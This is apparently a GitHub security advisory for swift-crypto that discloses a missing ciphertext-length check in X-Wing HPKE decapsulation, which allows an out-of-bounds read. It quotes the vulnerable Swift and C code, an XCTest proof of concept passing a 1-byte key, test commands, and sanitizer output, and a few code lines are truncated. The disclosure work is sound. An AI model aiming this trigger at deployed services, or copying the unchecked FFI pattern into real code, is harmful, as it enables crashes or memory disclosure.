X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length

Moderate **Lukasa** published **GHSA-9m44-rr2w-ppp7** 2 weeks ago

Package

swift-crypto (Swift)

Affected versions

4.0.0 - 4.3.0

Patched versions

4.3.1

Description

Summary

The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext bytes without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer.

The issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error.

Reported by Cantina.

Details

The `decapsulate` function of `OpenSSLXWingPrivateKeyImpl` does not perform a length check before passing the `encapsulated` data to the C API.

```
func decapsulate(_ encapsulated: Data) throws -> SymmetricKey {
    try SymmetricKey(unsafeUninitializedCapacity: Int(XWING_SHARED_SECRET_BYTES)) {
        try encapsulated.withUnsafeBytes { encapsulatedSecretBytes in
            let rc = CCryptoBoringSSL_XWING_decap(
                sharedSecretBytes.baseAddress,
                encapsulatedSecretBytes.baseAddress,
```

```
                &self.privateKey
            )
            guard rc == 1 else {
                throw CryptoKitError.internalBoringSSLError()
            }
            count = Int(XWING_SHARED_SECRET_BYTES)
        }
    }
}
```

The C API does not have a runtime length parameter and instead expects a fixed-size buffer of 1120 bytes.

```
#define XWING_CIPHERTEXT_BYTES 1120

OPENSSL_EXPORT int XWING_decap(
    uint8_t out_shared_secret[XWING_SHARED_SECRET_BYTES],
    const uint8_t ciphertext[XWING_CIPHERTEXT_BYTES],
    const struct XWING_private_key *private_key);
```

Since `decapsulate` accepts arguments of any length, an attacker controlled input can trigger an out-of-bounds read. The vulnerable code path can be reached through by initializing a `HPKE.Recipient`. This creates a new `HPKE.Context`, which decapsulates the attacker-controlled `enc` argument:

```
init<PrivateKey: HPKEKEMPrivateKey>(recipientRoleWithCiphersuite ciphersuite: Ciph t
    let sharedSecret = try skR.decapsulate(enc)
    self.encapsulated = enc
    self.keySchedule = try KeySchedule(mode: mode, sharedSecret: sharedSecret, info: inf
}
```

PoC

This PoC constructs an `HPKE.Recipient` using the X-Wing ciphersuite and deliberately passes a 1-byte `encapsulatedKey` instead of the required 1120 bytes. In a normal run, the malformed input is accepted and it reaches the vulnerable decapsulation path, i.e., no size rejection occurs. In an AddressSanitizer run, the same PoC produces a `dynamic-stack-buffer-overflow` read, confirming memory-unsafe behavior.

```
//===----------------------------------------------------------------------===//
//
// PoC for X-Wing malformed ciphertext-length decapsulation:
// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.
//
// This test is intentionally unsafe and is expected to crash (or trip ASan)
// on vulnerable builds when run.
//
//===----------------------------------------------------------------------===//
```

```
#if canImport(FoundationEssentials)
import FoundationEssentials
#else
import Foundation
#endif
import XCTest

#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
// Skip tests that require @testable imports of CryptoKit.
#else
#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API
@testable import CryptoKit
#else
@testable import Crypto
#endif

final class XWingMalformedEncapsulationPoCTests: XCTestCase {
    func testShortEncapsulatedKeyHPKERecipientInit() throws {
        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *
            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256
            let skR = try XWingMLKEM768X25519.PrivateKey.generate()
            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes

            // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(..
            _ = try HPKE.Recipient(
                privateKey: skR,
                ciphersuite: ciphersuite,
                info: Data(),
                encapsulatedKey: malformedEncapsulatedKey
            )

            XCTFail("Unexpectedly returned from malformed decapsulation path")
        }
    }
}

#endif // CRYPTO_IN_SWIFTPM
```

Steps

1. Add the PoC XCTest above to the test suite.
2. Run the PoC normally to verify that malformed input is not rejected by length:

```
swift test --filter XWingMalformedEncapsulationPoCTests/testShortEncapsulatedK E
```

3. Run the same PoC with AddressSanitizer enabled to detect out-of-bounds memory access:

```
swift test --sanitize=address --filter XWingMalformedEncapsulationPoCTests/tes t
```

Results

Normal run

The PoC test reaches the `XCTFail` path. `HPKE.Recipient(...)` accepted a `1`-byte X-Wing encapsulated key instead of rejecting it for incorrect length.

```
Test Case
'XWingMalformedEncapsulationPoCTests.testShortEncapsulatedKeyHPKERecipientInit'
started
... failed - Unexpectedly returned from malformed decapsulation path
```

AddressSanitizer run

The sanitizer run aborts with a read overflow while executing the same PoC path. This confirms the memory-safety violation. The malformed ciphertext reaches memory-unsafe behavior in the decapsulation chain.

```
ERROR: AddressSanitizer: dynamic-stack-buffer-overflow
READ of size 1
...
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow
==...==ABORTING
```

Impact

A remote attacker can supply a short X-Wing HPKE encapsulated key and trigger an out-of-bounds read in the C decapsulation path, potentially causing a crash or memory disclosure depending on runtime protections.

Severity

Moderate

CVE ID

CVE-2026-28815

Weaknesses

No CWEs